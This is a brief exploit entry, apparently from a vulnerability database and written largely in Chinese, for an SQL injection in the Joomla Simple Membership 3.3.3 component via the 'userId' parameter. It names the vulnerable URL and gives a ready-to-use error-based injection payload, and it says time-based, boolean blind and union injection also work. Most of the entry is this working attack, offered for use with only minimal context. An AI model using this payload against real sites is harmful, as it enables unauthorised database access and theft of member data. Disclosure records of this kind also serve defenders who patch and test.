Joomla! Component Simple Membership 3.3.3 - 'userId' Parameter SQL Injection
Joomla! Component Simple Membership 3.3.3 ,存在参数过滤不严,导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用,如果关闭了错误显示,可以采用基于时间和布尔的盲注,还可以采用union注入
Google Dork:
N/A
注入点:
http://localhost/[PATH]/index.php?option=com_simplemembership&Itemid=1&task=showUsersProfile&userId=[SQL]
payload:
/index.php?option=com_simplemembership&Itemid=1&task=showUsersProfile&userId=1 AND (SELECT 1747 FROM(SELECT COUNT(*),CONCAT(md5(233),0x71716a6a71,(SELECT (ELT(1747=1747,1))),0x716a716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
测试截图:
![](https://images.seebug.org/contribute/e36cb72d-12a2-4f2a-9241-1d4c018071ec)
其他类型的注入:
![](https://images.seebug.org/contribute/98c97f57-ee54-472c-a8fb-86428fe55513)
暂无评论